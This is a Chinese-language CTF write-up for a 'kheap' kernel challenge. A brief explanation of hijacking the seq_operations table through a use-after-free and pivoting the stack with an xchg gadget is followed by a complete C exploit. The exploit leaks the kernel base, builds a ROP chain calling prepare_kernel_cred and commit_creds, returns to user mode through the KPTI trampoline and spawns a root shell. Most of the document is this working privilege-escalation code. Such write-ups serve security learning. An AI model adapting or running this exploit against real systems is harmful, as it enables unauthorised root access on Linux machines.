kheap
seq_operation结构体的劫持(UAF)
劫持seq_operations结构体,该结构体为一个函数虚表。而在read(seq,ptr,0);时会执行上文中的代码,劫持该结构体的指针就能劫持RIP。
而由于该调用处没有可用的函数指针,因此通过xchg eax,esp来进行栈劫持。
eax为劫持的gadget的低位,这个低位则会落入用户态的页表中。
通过该方法进行栈劫持,在用户态的段中部署ROP提权
gcc -o main main.c -static生成main文件,在将该文件传入qemu虚拟机中,执行该文件即可提权。
exp:
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <poll.h>
#include <linux/userfaultfd.h>
#include <linux/fs.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#define PAGE_SIZE 0x1000
struct info
{
uint64_t idx;
char *ptr;
};
struct request
{
char *ptr;
uint64_t len;
};
int dev_fd;
uint64_t user_cs,user_ss,user_eflag,user_rsp;
void save_state()
{
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %3;"
"pushfq;"
"pop %2;"
: "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(user_rsp)
:
: "memory"
);
}
void new(uint64_t idx)
{
struct info arg={idx,NULL};
ioctl(dev_fd,0x10000,&arg);
}
void delete(uint64_t idx)
{
struct info arg={idx,NULL};
ioctl(dev_fd,0x10001,&arg);
}
void choose(uint64_t idx)
{
struct info arg={idx,NULL};
ioctl(dev_fd,0x10002,&arg);
}
int seq_open()
{
int seq;
if ((seq=open("/proc/self/stat",O_RDONLY))==-1)
{
puts("[X] Seq Open Error");
exit(0);
}
return seq;
}
void get_shell()
{
system("/bin/sh");
exit(0);
}
int main()
{
save_state();
dev_fd=open("/dev/kheap",O_RDWR);
if (dev_fd<0)
{
puts("[X] Device Open Error");
exit(0);
}
uint64_t *buf=malloc(0x20); uint64_t *recv=malloc(0x20);
new(0);
choose(0);
delete(0);
int seq_fd=seq_open();
read(dev_fd,(char *)recv,0x20);
uint64_t kernel_base=recv[0]-0x33F980;
uint64_t prepare_kernel_cred=kernel_base+0xcebf0;
uint64_t commit_creds=kernel_base+0xce710;
uint64_t kpti_trampoline=kernel_base+0xc00fb0;
uint64_t seq_read=kernel_base+0x340560;
uint64_t pop_rdi=kernel_base+0x2517a;
uint64_t mov_rdi_rax=kernel_base+0x5982f4;
uint64_t gadget=kernel_base+0x94a10;
printf("[+] kernel_base: 0x%lx\n",kernel_base);
printf("[+] prepare_kernel_cred: 0x%lx\n",prepare_kernel_cred);
printf("[+] commit_creds: 0x%lx\n",commit_creds);
uint64_t *mmap_addr=mmap((void *)(gadget&0xFFFFF000),PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_SHARED,-1,0);
printf("[+] mmap_addr: 0x%lx\n",(uint64_t)mmap_addr);
uint64_t *ROP=(uint64_t *)(((char *)mmap_addr)+0xa10),i=0;
*(ROP+i++)=pop_rdi;
*(ROP+i++)=0;
*(ROP+i++)=prepare_kernel_cred;
*(ROP+i++)=commit_creds;
*(ROP+i++)=kpti_trampoline+22;
*(ROP+i++)=0;
*(ROP+i++)=0;
*(ROP+i++)=(uint64_t)get_shell;
*(ROP+i++)=user_cs;
*(ROP+i++)=user_eflag;
*(ROP+i++)=user_rsp;
*(ROP+i++)=user_ss;
memcpy(buf,recv,0x20);
buf[0]=(uint64_t)gadget;
write(dev_fd,(char *)buf,0x20);
read(seq_fd,NULL,1);
}